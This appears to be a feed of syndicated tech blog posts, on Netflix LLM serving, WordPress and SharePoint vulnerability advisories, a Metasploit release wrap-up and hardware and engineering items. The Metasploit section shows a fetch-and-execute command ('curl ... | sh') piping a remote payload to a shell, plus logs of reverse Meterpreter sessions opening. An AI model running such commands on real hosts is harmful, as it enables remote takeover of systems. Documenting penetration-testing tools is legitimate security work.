In-House LLM Serving at Netflix

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/in-house-llm-serving-at-netflix-a5a8e799ea2c

By AI Platform’s Model Runtime team and Inference team

Introduction

Most organizations consume LLMs through hosted APIs. Netflix went further — we run the full stack ourselves, from model deployment through inference, inside our existing production environment rather than a separate ML silo. Some of those decisions weren’t obvious, and a few revealed their trade-offs only under production load.

This post focuses on the choices where alternatives were seriously considered: engine selection, model packaging, API surface design, deployment strategy, and output constraints enforcement. The goal is to share not just what was built, but why — and what production revealed that the design phase didn’t anticipate.

Architecture Overview

Member-scale ML at Netflix is fronted by a unified JVM-based serving system that handles the end-to-end flow for downstream consumers: routing and A/B test logic, candidate generation, feature fetching, inference, post-processing, and logging at each stage. Both real-time and cached batch paths are supported. Figure 1 shows the two ways callers reach inference today: the gRPC path through this serving system and a direct HTTP path used by newer LLM-driven applications.

Where inference runs depends on the model. Small CPU models run in-process, avoiding remote-call overhead. Larger models need GPUs — the serving system handles pre- and post-processing locally but delegates inference to a remote service, Model Scoring Service (MSS). MSS is the shared inference backend, supporting XGBoost, TensorFlow, PyTorch, and LLMs behind a unified interface, with NVIDIA Triton Inference Server underneath managing model loading, batching, and GPU scheduling.

On top of Triton sits a Java control plane that handles deployment, versioning, health checking, autoscaling, and multi-region rollout. Model authors package their artifacts and configure the deployment; the control plane provisions GPU instances, configures Triton, and orchestrates zero-downtime upgrades.

Figure 1. Serving Architecture Overview

Design Decisions and Implementation

Four decisions shape this platform — engine, packaging, API surface, and rollout — presented in dependency order, since each one constrains the next.

vLLM as the Paved-Path Engine

The platform was originally built on TensorRT-LLM, a performant inference engine at the time and already integrated with Triton — the compute backend in use within MSS.

By summer 2025, two things had shifted: open-source engines had largely closed the performance gap with specialized stacks, and our workload mix had broadened to include embedding generation, prefill-only inference for ranking and retrieval, autoregressive decoding, and custom models with non-trivial per-step constraint logic. We re-benchmarked against this mix and selected vLLM as our paved-path engine on operational fit:

  • Loads custom model architectures without a multi-step compilation pipeline — faster iteration on non-standard models.
  • Extensibility hooks for custom decoding logic — necessary for the constrained-decoding work described later.
  • Debuggability — easier to inspect failures and intermediate state than with a compiled engine in earlier TensorRT-LLM.
  • Familiarity — many ML practitioners were already using vLLM in research, which cut the research-to-production handoff cost.

Integrating vLLM into Triton

With vLLM picked, the next decision was how to package models for it. Triton supports two ways, and the choice has significant implications for maintainability — specifically, how tightly model artifacts are coupled to frontend upgrades.

  • Python backend. The author defines explicit input/output tensor specs at packaging time. These specs are frozen in the artifact and must match what the third-party vendor’s frontend’s request builder expects, so every frontend upgrade that touches I/O specs requires a coordinated change to packaging code; otherwise, requests fail at runtime.
  • vLLM backend. The artifact is just a JSON config pointing to the model weights and tokenizer. Triton’s vLLM backend reads this config and generates I/O tensor specs dynamically at deployment time — the author never defines them. Models and frontend evolve independently.

The vLLM backend is the architecturally correct default. Two things bit us in production:

  • Triton/vLLM version mismatch. Triton’s vLLM backend is compiled against a specific vLLM API surface. When the two drift — for example, Triton 25.09 importing vllm.engine.metrics, a module removed in vLLM 0.11.2 — the backend fails to load entirely. The platform has to pin compatible versions when baking the service image, and prevent model authors from overriding the vLLM version at packaging time.
  • Custom model logic. The vLLM backend expects a standard HuggingFace-compatible model and handles the full inference lifecycle. Models needing custom preprocessing, postprocessing, or non-standard execution — ensemble pipelines, custom tokenization — must use the Python backend, which gives full control over execute(). This escape hatch will likely remain necessary for a subset of models.

Ecosystem-Compatible HTTP Frontend

With engine and packaging settled, the next question is how callers reach the system. A key design goal of our system was that LLM models should NOT be special snowflakes. Every model — XGBoost ensemble or large-scale LLMs — is scored via the same gRPC call, so we reuse the same client libraries, health checking, and deployment pipelines. Given that the OpenAI-compatible API interface has become the de facto interface for the LLM ecosystem — inference engines, orchestration frameworks, evaluation tools, and client libraries all speak it — so we expose the OpenAI-compatible API as an additional frontend alongside gRPC.

The payoff shows up in the experimentation-to-production path: graduating from a hosted model to a fine-tuned self-hosted one — for quality, latency, cost, or data privacy — is nearly seamless. Same API, minimal code changes.

Behind the API, the implementation reuses NVIDIA’s Triton OpenAI-compatible frontend. It starts an embedded Triton server, wraps it in a TritonLLMEngine that converts request schemas into Triton inference requests, and serves responses through FastAPI. KServe HTTP/gRPC frontends are enabled alongside, so the same Triton instance remains accessible to the Java control plane over gRPC. Adopting Triton’s frontend directly exposed one gap: response_format — accepted by the schema — was silently dropped before reaching vLLM, so that a caller requesting JSON output proceeded without guided decoding constraints and could receive malformed JSON with no error surfaced by the platform. We git-subtreed and patched the frontend to translate response_format into vLLM’s guided decoding parameters at request time.

Deployment Strategies

With API surface and engine in place, the question that remains is how new versions roll out without dropping requests. GPU deployments take longer to bring up than CPU services, and the I/O schema may change between model versions — adding a coordination problem on top. The platform offers two strategies:

  • Red-Black deploys a new version alongside the current one. Once the new instance passes health checks, traffic shifts in phases — the new version scales up while the old scales down at the same rate. If any step fails, the system triggers an atomic rollback. Red-Black is the right choice when the model interface is stable. Production revealed a coordination gap when a new version requires an I/O schema change (e.g., new tensor dimensions): the upstream consumer can’t update its config until the new model is fully live, so it inevitably sends “old” requests to a “new” deployment during the migration window, and those fail.
  • Versioned solves that gap by maintaining an independent deployment for every (modelId, modelVersion) pair. Multiple versions serve simultaneously, decoupling model deployment from consumer updates: the consumer waits for the new version to be fully ready before switching its config, while the old version keeps serving legacy traffic. The platform cleans up older deployments after inactivity but always preserves the latest. The trade-off is a temporary increase in GPU cost during the transition overlap.

We recommend embedding variable configurations (e.g., tensor shapes) directly into the inference model to make it version-agnostic, so it can use the cheaper Red-Black path. Versioned is reserved for the rare cases where a breaking interface change is unavoidable.

Operational Notes

Beyond those four decisions, two operational details are worth flagging — both hit production gaps the design phase didn’t anticipate.

Boot sequence

Bringing a vLLM-on-Triton instance up involves several coordinated steps before the gRPC port opens. Two are non-routine.

  • Model caching. Downloading large LLMs directly from S3 or Hugging Face at startup is slow enough to inflate cold-start latency past what schedulers tolerate. We materialize models on Amazon FSx at the time of model announcement, so warm starts hit a high-performance file system instead of object storage.
  • Embedded vs standalone Triton. When consumers need the OpenAI-compatible API, Triton runs as an embedded server inside the OpenAI-compatible frontend process; otherwise, it runs standalone. This is configured per-deployment at packaging time.

The rest of the boot sequence is mechanical: extracting the model package, installing custom vLLM plugins via Python entry_points, cleaning the Prometheus multiprocess directory, and gating the gRPC port until the engine is ready.

Unified metrics endpoint

The Prometheus cleanup above hints at a wider observability gap. vLLM writes metrics to PROMETHEUS_MULTIPROC_DIR as .db files; Triton reports server-level metrics through its own Prometheus endpoint. Neither is aware of the other, and Triton’s built-in bridge surfaces only 9 of 40+ vLLM metrics — missing critical ones like token throughput, KV cache utilization, and prefix cache hit rates.

We added a lightweight HTTP proxy that merges both into a single /metrics endpoint: it fetches Triton metrics via HTTP, reads vLLM metrics from disk using Prometheus’s MultiProcessCollector, and returns the combined output. Existing dashboards and alerts work without modification.

Deep-Dive: Constrained Decoding at Scale

Some Netflix production workloads rely heavily on fine-grained control over token generation. Rather than applying business logic after inference — paying for invalid generations, then retrying or repairing — we push constraints inside the decode loop, so the model generates outputs that are compliant by construction. We implement this via vLLM’s custom logits processor interface, modeling each constraint as a state machine that evolves with the generated token history and emits token-eligibility masks at each step. Each request gets its own configured processor, since different requests apply different rules.

Getting this to scale ran across two engine versions: we initially deployed on vLLM V0 (V1 had feature gaps), then migrated to V1 in Q4 2025 once it matured. The two subsections that follow are the before-and-after.

Why the first implementation didn’t scale

Our initial pure-Python implementation worked functionally but hit a scaling bottleneck. In vLLM V0, custom logits processors run per-request: the GPU produces logits for the whole batch, the CPU copies them across and waits for the transfer, and then constraint logic runs sequentially for each request — sequentially because the GIL prevents Python from parallelizing the per-request work. CPU time in logit processing therefore grows linearly with batch size, hitting tail latencies. End-to-end latency becomes CPU-bound even though the model’s forward pass is batched efficiently on GPU. It’s a bottleneck invisible in single-request benchmarks that only surfaces under realistic concurrency. Figure 2 makes the serial pattern visible.

Figure 2: Logits processor serial execution on CPU with vLLM V0

vLLM V1 enabled a batch-level design

The structural fix arrived in vLLM V1, which moved logits processing to batch level. We rewrote our custom processor to operate on batch-level data structures, computing masks across many requests together, and reimplemented the hot path in C++ with multi-threading to step around the GIL. The V1 API requires explicit tracking of batch membership changes via update_state(batch_update) — more complex than V0’s per-request interface, but necessary to maintain correct state in a dynamically evolving batch. Figure 3 shows logits processing time staying flat as batch size grows.

Figure 3: Batched logits processor execution on CPU with vLLM V1

Operational hardening

Now, performance was no longer the bottleneck. But stateful constraint logic in the decode loop introduced two issues the design phase didn’t anticipate:

  • Partial prefills. V1 performs chunked prefilling, so a request can be prefilled over multiple engine steps. BatchUpdate lacks the granularity to tell whether a request was fully or only partially prefilled, so we added internal tracking.
  • Preemption. Under memory pressure, vLLM may evict a partially completed request’s KV cache and reschedule it later with a different prompt and output token list. This breaks the state machine’s assumption that the output token list grows monotonically. We detect when the token history shrinks between decode steps, reset the state machine, and reinitialize from the new prompt.

Wrap up

We set out to build an LLM serving platform for broad production ML requirements — low latency, deep customization, and integration with existing infrastructure. The result is a system on vLLM and Triton, unified behind a consistent API, designed to give ML practitioners a fast path from experimentation to production.

The lessons were often in the details — version pinning, silent API gaps, packaging trade-offs — but addressing them has made the platform meaningfully more robust and the developer experience smoother. Next investments reflect where we expect friction:

  • System prompt compression to reduce prompt length without sacrificing quality.
  • Asynchronous scheduling of vLLM V1.
  • Vectorized logits processors that run as fused GPU kernels instead of CPU code.
  • Lower-precision model variants to decrease memory footprint and increase throughput.

We’ll continue working closely with the open-source community as this space evolves.

Contributions

This system is the result of close collaboration and contributions from many teams within the AI Platform org at Netflix. In particular, Liping Peng designed and developed the model packaging workflow and drove the integration of Triton and vLLM with MSS to enable a unified pathway for serving LLMs. Hakan Baba, Nicolas Hortiguera, and ZQ Zhang led GPU capacity planning, system performance tuning, application integration and observability, as well as A/B test readiness and operational excellence efforts for all production models. Santino Ramos enabled vLLM for production models and optimized constrained decoding performance. Binh Tang developed the initial version of custom model serving and benchmarked different LLM serving frameworks. Lanxi Huang and Daneo Zhang built the serving development tools to enable user self-service. Lingyi Liu drove the overall system architecture and core technical decisions. Abhishek Agrawal and Shaojing Li provide management leadership to ensure alignment, prioritization and execution.

Acknowledgements

This work heavily leverages open-source ML libraries, such as Triton, vLLM and PyTorch, etc. We’re especially grateful to the teams and contributors from the community. We also thank our partner teams in Netflix AI for Member Systems for their close collaborations and innovation on the modeling side.

In-House LLM Serving at Netflix was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Cloudflare WAF protects WordPress applications from two high-severity vulnerabilities

Post Syndicated from Daniele Molteni original https://blog.cloudflare.com/wordpress-vulnerabilities/

Cloudflare has deployed new Web Application Firewall (WAF) protections for two critical vulnerabilities affecting WordPress. The protections address an Unauthenticated Remote Code Execution (RCE) vulnerability in WordPress's REST API and a related SQL Injection vulnerability.

The WordPress security team disclosed the vulnerabilities to Cloudflare before public release so that we could prepare protections for customers. Cloudflare has deployed the new rules to protect all customers, including those on free and paid plans, as long as their application traffic is proxied through the Cloudflare WAF. The rules were deployed at 17:03 UTC on July 17 2026.

WAF protections reduce exposure while customers update, but they are not a substitute for patching. WordPress has released fixes in version 7.0.2, with backports to affected earlier branches: 6.9.5, 6.8.6, and 7.1 Beta 2. Versions earlier than 6.8 are not affected. WordPress is treating this as its highest-severity, highest-priority class of issue and is forcing automatic updates to affected sites, so most sites will be updated automatically. We still recommend confirming that you are on a patched release or the backports for your branch and follow the guidance in the official WordPress security release announcement. 

What you need to know

The vulnerabilities affect different parts of the request path:

  • CVE-2026-60137: SQL injection. A vulnerability in WordPress version 6.8 and later allows crafted input to alter a database query. Rating High.
  • CVE-2026-63030: Unauthenticated remote code execution. A vulnerability in WordPress version 6.9 and later allows an unauthenticated attacker to execute code through the batch endpoint of the REST API when a persistent object cache is not in use. This vulnerability is related to the SQL injection described above. No login or user interaction is required to exploit this vulnerability. Rating Critical.

The SQL injection vulnerability is present from version 6.8 onwards, while the RCE only affects versions from 6.9. So 6.8.6 addresses the SQLi only since the RCE isn't present on 6.8, while 6.9.5, 7.0.2, and 7.1 Beta 2 get fixes for both.

Cloudflare created two rules to detect requests associated with these vulnerabilities:

Cloudflare customers running WordPress sites on Pro, Business, or Enterprise plans should ensure that Cloudflare Managed Rules are enabled. Customers can follow the steps in our WAF Managed Rules documentation. Customers on free plans are automatically protected through the Free Ruleset.

The new rules are deployed with the default Managed Ruleset action of Block. Customers running WordPress sites should review any ruleset-level overrides, including those that change all rules from Block to Log, and ensure the new rules use the recommended action while they update WordPress. Cloudflare customers should also monitor Security Events for requests matching either rule. 

Defense in depth while you patch

The SQL injection rule detects crafted parameter values before they reach WordPress. The unauthenticated RCE rule targets requests attempting to reach the remote code execution path. Together, they detect the attack at two different points.

These rules reduce risk while organizations update affected systems; they do not fix the underlying vulnerable code. Updating WordPress remains the most effective way to address the vulnerabilities.

If an immediate update is not possible, verify that both Cloudflare rules are active with the recommended action and review logs for suspicious requests to the affected REST API endpoint.

Looking forward

Cloudflare will monitor matching traffic and test the rules against new attack variations, updating detections when needed.
We thank the WordPress security team for coordinating with Cloudflare and other infrastructure providers to help protect users before details of the vulnerabilities became public.

Metasploit Wrap Up: An HTTP to SMB relay plus Payload Improvements

Post Syndicated from Christopher Granleese original https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-an-http-to-smb-relay-plus-payload-improvements

Metasploit Wrap Up Housekeeping

While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released.

Fetch Multi: Just Fetch and Forget?

Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.

Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

RISC architecture is going to change everything!

Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.

New module content (4)

Microsoft Windows HTTP to SMB Relay

Author: jheysel-r7

Type: Auxiliary

Pull request: #21620 contributed by jheysel-r7

Path: server/relay/http_to_smb

Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

Byte XORi Encoder

Author: bcoles [email protected]

Type: Encoder

Pull request: #21235 contributed by bcoles

Path: riscv32le/byte_xori

Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.

FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod

Authors: Brendan Watters, Spencer McIntyre, and bcoles [email protected]

Type: Payload (Adapter)

Pull request: #21384 contributed by bwatters-r7

Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.

This adapter adds 421 new payloads for all Linux and Windows architectures including:

  • cmd/linux/ftp/aarch64/chmod
  • cmd/linux/ftp/x86/meterpreter/reverse_tcp
  • cmd/windows/ftp/aarch64/meterpreter_reverse_http

FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager

Authors: Brendan Watters, Spencer McIntyre, and bcoles [email protected]

Type: Payload (Stager)

Pull request: #21237 contributed by bcoles

Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.

  • cmd/linux/ftp/riscv32le/shell/bind_tcp
  • cmd/linux/http/riscv32le/shell/bind_tcp
  • cmd/linux/https/riscv32le/shell/bind_tcp
  • cmd/linux/tftp/riscv32le/shell/bind_tcp
  • linux/riscv32le/shell/bind_tcp
  • cmd/linux/ftp/riscv32le/shell/reverse_tcp
  • cmd/linux/http/riscv32le/shell/reverse_tcp
  • cmd/linux/https/riscv32le/shell/reverse_tcp
  • cmd/linux/tftp/riscv32le/shell/reverse_tcp
  • linux/riscv32le/shell/reverse_tcp
  • cmd/linux/ftp/riscv64le/shell/bind_tcp
  • cmd/linux/http/riscv64le/shell/bind_tcp
  • cmd/linux/https/riscv64le/shell/bind_tcp
  • cmd/linux/tftp/riscv64le/shell/bind_tcp
  • linux/riscv64le/shell/bind_tcp
  • cmd/linux/ftp/riscv64le/shell/reverse_tcp
  • cmd/linux/http/riscv64le/shell/reverse_tcp
  • cmd/linux/https/riscv64le/shell/reverse_tcp
  • cmd/linux/tftp/riscv64le/shell/reverse_tcp
  • linux/riscv64le/shell/reverse_tcp

Enhancements and features (4)

  • #21235 from bcoles – Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
  • #21384 from bwatters-r7 – Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
  • #21599 from Pushpenderrathore – This extends CertificateTrace functionality to also surface the server’s TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.
  • #21602 from zeroSteiner – Updates the Windows service PE template to use an injected segment instead of the old substitution method.

Bugs fixed (4)

  • #21621 from eipoverflow – This fix a limitation on running fileless staged Meterpreter in recent OSX versions.
  • #21670 from zeroSteiner – Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.
  • #21675 from sjanusz-r7 – Fix search_cache job cache generation by skipping multi arch payloads.
  • #21677 from bwatters-r7 – Fixes a bug in the HTTP relay server mixin where requests matching the module’s URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

CVE-2026-58644: Microsoft SharePoint Server Unauthenticated Remote Code Execution Vulnerability Exploited in the Wild

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild

Overview

On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data (CWE-502) and allows an unauthenticated attacker to execute arbitrary code.

Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts.

Affected products:

  • Microsoft SharePoint Enterprise Server 2016

  • Microsoft SharePoint Server 2019

  • Microsoft SharePoint Server Subscription Edition

Mitigation guidance

Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis.

Microsoft’s recommendations:

  • Apply the July 14, 2026 security updates for all affected SharePoint versions.

  • Verify that security updates completed successfully across all SharePoint servers.

  • Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application.

  • Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation.

  • Initiate incident response procedures if exploitation artifacts are detected.

Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity.

AMSI / Microsoft Defender detections:

  • Exploit:Script/SuspSignoutReqBody.A

  • Request body scanning

  • SharePoint Server Subscription Edition

  • Microsoft reports observed exploitation attempts are blocked by this signature.

  • Exploit:Script/ToolPaneAuthBypass.A

  • Request header scanning

  • Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition.

  • Exploit:Script/ToolPaneAuthBypass

At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed.

Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release.

Updates

  • July 17, 2026: Initial publication.

Building an Arch Linux aarch64 port for Holo Core (Collabora blog)

Post Syndicated from jzb original https://lwn.net/Articles/1083392/

Collabora has published a blog
post about its work with Valve on Holo Core, which is a port of Arch Linux to
aarch64 to be used as the the operating system on Valve’s
64-bit Arm Steam Frame gaming system. Collabora has released the
sources,
binary
packages, and a container image for aarch64 devices. The post
describes some of the challenges in porting Arch Linux to a new
architecture, and what remains to be done:

Whilst the infrastructure developed to this point is capable of
building from first principles up until a point-in-time snapshot, the
next step is to build this into a system which can track Arch Linux as
it is developed. This work will serve as the basis of a
continuously-operating CI system capable of shadowing Arch Linux
itself. We will work with the upstream Arch Linux project to help Arch
with their efforts to port the distribution to aarch64 architecture
and work towards automated repeatable builds.

The post also includes instructions on how to create and test an
aarch64 build container on an x86_64 host, for users who would like to
follow along at home but lack a 64-bit Arm device.

The AMD Instinct MI350P is a HBM PCIe AI Accelerator That Has Been All Over

Post Syndicated from Patrick Kennedy original https://www.servethehome.com/the-amd-instinct-mi350p-is-a-hbm-pcie-accelerator-that-has-been-all-over/

We have been seeing the AMD Instinct MI350P 144GB HBM3E PCIe accelerator everywhere over the past few weeks as this appears to be a popular GPU

The post The AMD Instinct MI350P is a HBM PCIe AI Accelerator That Has Been All Over appeared first on ServeTheHome.

The cost of saying yes has changed

Post Syndicated from Dalia Abuadas original https://github.blog/engineering/the-cost-of-saying-yes-has-changed/


The most expensive part of a small feature request used to be writing the code. Now it’s usually the meeting about whether or not to write the code.

That’s a real shift, and it quietly breaks a lot of engineering instincts. Engineers learn early that most “small asks” aren’t small: they need tests, a rollout plan, someone to think through the edge cases and own the behavior after it ships. A two-hour change can become a two-week distraction if it touches the wrong part of the system. So we push back. Is this really needed? Does it belong in this release? Does it change a contract we already agreed to? I’m not giving that instinct up.

But it rests on an assumption that’s quietly breaking, which is that writing the first version of the code is the expensive step. For a specific class of change, it no longer is. If you can tell those changes apart from the rest, you can replace “is this in scope?” with a question you can answer in thirty minutes instead of a two-day debate.

The debate often costs more than the patch

Here’s a pattern I keep seeing. Someone asks for a small change such as surfacing a last_active_at timestamp that already exists in the backend on a settings page. The team spends forty minutes in a thread. One person says it sounds risky. Someone remembers a related migration from two years ago. Someone mentions the deadline. Eventually we land on “probably a day or two, could be more,” with low confidence, primarily because nobody has actually tried it.

That process made sense when trying was the expensive part. You had to stop what you were doing, load the context into your head, make the change by hand, write the tests, then discover the second- and third-order consequences. When the first attempt is cheap, defending the boundary can cost more than crossing it.

An agent can produce that first patch in the time the thread takes to warm up. It’s not free and definitely not automatically correct. But it is cheap enough that the smart move is often to stop guessing and look at a real diff.

The first patch is a price check, not the product

The mistake is to treat the generated patch as the deliverable. It isn’t. It’s a probe. It turns an abstract scope argument into a concrete artifact you can interrogate:

  • Does it touch the files you expected, or does it sprawl across five packages?
  • Are the tests obvious, or does the change resist being tested?
  • Does it preserve the existing abstractions?
  • Does it quietly require a new product decision?
  • Would you be comfortable owning this behavior six months from now?

Those are better questions than “does this feel like scope creep?” because now you’re arguing from evidence instead of vibes. If the last_active_at field comes back as a four-line diff with a passing test, ship it. The debate was the expensive part. However, if that same request comes back touching the auth middleware, you’ve learned the request was never small. Not only that, you learned this in thirty minutes instead of two days.

This is not letting the AI decide. It’s using the AI to make human judgment cheaper and better-informed.

Cheap to write is not the same as cheap to own

Here’s the trap, and it’s the most important distinction of the AI era. A change is not cheap just because the code was cheap to generate. It’s cheap only if a human can confidently review and own the result.

A thousand-line diff that technically passes but nobody wants to own is not a cheap change. It’s a deferred cost. So the dividing line in that case isn’t “can an agent write this?” It’s “can a person validate it?”

  • Adding a display field that already exists in the backend is usually cheap.
  • Changing authorization behavior is not cheap, no matter how clean the diff.
  • Refactoring a well-tested helper is usually cheap.
  • Changing data-retention semantics is not cheap.

Plenty of changes still deserve a hard no even when the code is trivial. This includes anything that moves the product contract, creates a support burden, or touches privacy, billing, or compliance. AI lowers the cost of producing a candidate. It does nothing to lower the cost of owning one.

Move scope discipline closer to the evidence

Traditionally, scope discipline happened before implementation, because implementation was the expensive thing to protect. Now some of that discipline can move to review. That doesn’t mean skipping planning. It means being precise about which planning actually pays off.

Before relitigating a small change, ask for a constrained attempt. The constraints are the whole point.

Produce the smallest possible patch. Keep it behind the existing feature flag. Don’t change the public contract. Add or update tests. List every file you touched and call out anything risky.

If the agent can’t produce a clean patch under those constraints, the request was bigger than you thought, and you know it carries a real ownership cost before anyone commits to it. If it can, that tells you something too. Either way you’ve replaced “is this in scope?” with “here’s what it costs. Do we want to pay it?”

The new skill is pricing uncertainty

The best engineers in an AI-assisted world won’t be the ones who say yes to everything, and they won’t be the ones who reflexively say no. They’ll be the ones who can price uncertainty fast. They’ll know when a request is a product decision wearing an implementation costume, when review will be harder than writing, and when a change is small enough that the fastest responsible answer is to just try it.

